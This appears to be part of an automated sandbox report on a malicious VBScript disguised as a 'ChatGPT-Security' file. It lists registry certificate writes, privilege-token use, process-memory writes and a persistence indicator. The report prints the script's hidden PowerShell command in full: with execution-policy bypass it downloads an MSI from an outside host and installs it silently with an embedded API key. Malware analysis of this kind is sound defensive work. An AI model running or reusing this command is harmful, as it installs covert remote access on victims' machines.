Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254832000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	level.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E	level.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0400000001000000100000001bfe69d191b71933a372a80fe155e5b50f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	level.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c000000010000000400000000100000190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254830400000001000000100000001bfe69d191b71933a372a80fe155e5b52000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	level.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	level.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	level.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb658140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d777f000000010000000c000000300a06082b060105050703037e00000001000000080000000000e4add325dc01030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	level.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2032	powershell.exe
2032	powershell.exe
5096	msiexec.exe
5096	msiexec.exe
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp
5924	MSI4552.tmp

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2032	powershell.exe
Token: SeShutdownPrivilege	460	msiexec.exe
Token: SeIncreaseQuotaPrivilege	460	msiexec.exe
Token: SeSecurityPrivilege	5096	msiexec.exe
Token: SeCreateTokenPrivilege	460	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	460	msiexec.exe
Token: SeLockMemoryPrivilege	460	msiexec.exe
Token: SeIncreaseQuotaPrivilege	460	msiexec.exe
Token: SeMachineAccountPrivilege	460	msiexec.exe
Token: SeTcbPrivilege	460	msiexec.exe
Token: SeSecurityPrivilege	460	msiexec.exe
Token: SeTakeOwnershipPrivilege	460	msiexec.exe
Token: SeLoadDriverPrivilege	460	msiexec.exe
Token: SeSystemProfilePrivilege	460	msiexec.exe
Token: SeSystemtimePrivilege	460	msiexec.exe
Token: SeProfSingleProcessPrivilege	460	msiexec.exe
Token: SeIncBasePriorityPrivilege	460	msiexec.exe
Token: SeCreatePagefilePrivilege	460	msiexec.exe
Token: SeCreatePermanentPrivilege	460	msiexec.exe
Token: SeBackupPrivilege	460	msiexec.exe
Token: SeRestorePrivilege	460	msiexec.exe
Token: SeShutdownPrivilege	460	msiexec.exe
Token: SeDebugPrivilege	460	msiexec.exe
Token: SeAuditPrivilege	460	msiexec.exe
Token: SeSystemEnvironmentPrivilege	460	msiexec.exe
Token: SeChangeNotifyPrivilege	460	msiexec.exe
Token: SeRemoteShutdownPrivilege	460	msiexec.exe
Token: SeUndockPrivilege	460	msiexec.exe
Token: SeSyncAgentPrivilege	460	msiexec.exe
Token: SeEnableDelegationPrivilege	460	msiexec.exe
Token: SeManageVolumePrivilege	460	msiexec.exe
Token: SeImpersonatePrivilege	460	msiexec.exe
Token: SeCreateGlobalPrivilege	460	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeDebugPrivilege	5924	MSI4552.tmp
Token: SeDebugPrivilege	5084	level.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeDebugPrivilege	3968	level.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2268	powershell.exe
Token: SeIncreaseQuotaPrivilege	2268	powershell.exe
Token: SeSecurityPrivilege	2268	powershell.exe
Token: SeTakeOwnershipPrivilege	2268	powershell.exe
Token: SeLoadDriverPrivilege	2268	powershell.exe
Token: SeSystemtimePrivilege	2268	powershell.exe
Token: SeBackupPrivilege	2268	powershell.exe
Token: SeRestorePrivilege	2268	powershell.exe
Token: SeShutdownPrivilege	2268	powershell.exe
Token: SeSystemEnvironmentPrivilege	2268	powershell.exe
Token: SeUndockPrivilege	2268	powershell.exe
Token: SeManageVolumePrivilege	2268	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2268	powershell.exe
Token: SeIncreaseQuotaPrivilege	2268	powershell.exe
Token: SeSecurityPrivilege	2268	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 2032	4144	WScript.exe	79
PID 2032 wrote to memory of 460	2032	powershell.exe	81
PID 5096 wrote to memory of 5924	5096	msiexec.exe	83
PID 5924 wrote to memory of 5500	5924	MSI4552.tmp	86
PID 5924 wrote to memory of 2080	5924	MSI4552.tmp	87
PID 2080 wrote to memory of 2604	2080	cmd.exe	88
PID 5924 wrote to memory of 5580	5924	MSI4552.tmp	89
PID 5580 wrote to memory of 4396	5580	cmd.exe	90
PID 5924 wrote to memory of 4724	5924	MSI4552.tmp	92
PID 5084 wrote to memory of 5520	5084	level.exe	93
PID 3968 wrote to memory of 2328	3968	level.exe	96
PID 3968 wrote to memory of 2268	3968	level.exe	98
PID 3968 wrote to memory of 6004	3968	level.exe	101
PID 3968 wrote to memory of 3272	3968	level.exe	103
PID 3968 wrote to memory of 1216	3968	level.exe	105
PID 3968 wrote to memory of 4996	3968	level.exe	107
PID 3968 wrote to memory of 404	3968	level.exe	109
PID 3968 wrote to memory of 3340	3968	level.exe	115
PID 3968 wrote to memory of 740	3968	level.exe	117
PID 3968 wrote to memory of 5072	3968	level.exe	119
PID 3968 wrote to memory of 1724	3968	level.exe	121
PID 3968 wrote to memory of 1664	3968	level.exe	123
PID 3968 wrote to memory of 4136	3968	level.exe	126
PID 3968 wrote to memory of 5444	3968	level.exe	128
PID 3968 wrote to memory of 3692	3968	level.exe	130
PID 3968 wrote to memory of 2908	3968	level.exe	132
PID 3968 wrote to memory of 4000	3968	level.exe	134
PID 3968 wrote to memory of 4728	3968	level.exe	136

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ChatGPT-Security-5.2.3.vbs"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -ep bypass -c "if(Get-Service level -EA SilentlyContinue){Start-Service level -EA SilentlyContinue}else{[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$Epyax='LEVEL_API_KEY=r1KnNr6d3zGvuikJZRjB9WXD';$uhyKq=Join-Path([IO.Path]::GetTempPath())'BnZJRSCv.msi';$ProgressPreference='SilentlyContinue';iwr -Uri 'https://downloads.level.io/level.msi' -OutFile $uhyKq;Start-Process msiexec.exe -Wait -ArgumentList('/i',$uhyKq,$Epyax,'/qn');Remove-Item $uhyKq -Force}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
